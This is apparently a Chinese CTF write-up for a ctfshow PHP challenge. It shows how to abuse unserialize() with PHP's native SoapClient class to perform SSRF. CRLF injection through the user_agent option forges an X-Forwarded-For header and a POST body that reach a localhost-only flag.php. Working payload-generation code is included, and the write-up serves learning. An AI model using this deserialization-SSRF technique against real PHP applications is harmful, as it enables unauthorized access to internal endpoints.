知识点 1.某个实例化的类,如果调用了一个不存在的函数会去调用__call魔术方法__call会发送一个请求 2.CRLF \r\n 3.POST数据提交最常用类型Content-Type: application/x-www-form-urlencoded
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
通过flag.php可知必须本地访问flag.php 而且带上token 一看ip=xff,第一反应就是改xff为127.0.0.1但是这个题不行,因为有cloudfare代理无法通过本地构造XFF绕过,因此这题需要利用原生类的反序列化来实现SSRF,SoapClient原生类的反序列化 在本题的环境当中,由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这 个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一 种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果 去调用了一个不存在的函数,会去调用 __call 方法
下面我们现在本地开启监听
<?php
$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999"));
$client->getFlag();
?>
从上面这张图可以看到, SOAPAction 处是我们的可控参数,因此我们可以尝试注入我们自己恶意构造 的CRLF即插入\r\n
这里我们
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999",'user_agent'=>$ua));
$client->getFlag();
?>
这里token=ctfshow 长度为13 而且为post提交 下方的 因为length限制不会被识别 这里ip因为被pop了两次以,分割所以最后只剩了127.0.0.1 绕过了flag.php 构造payload
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>
这里要访问flag.php 得到序列化结果 访问flag.txt 得到flag
|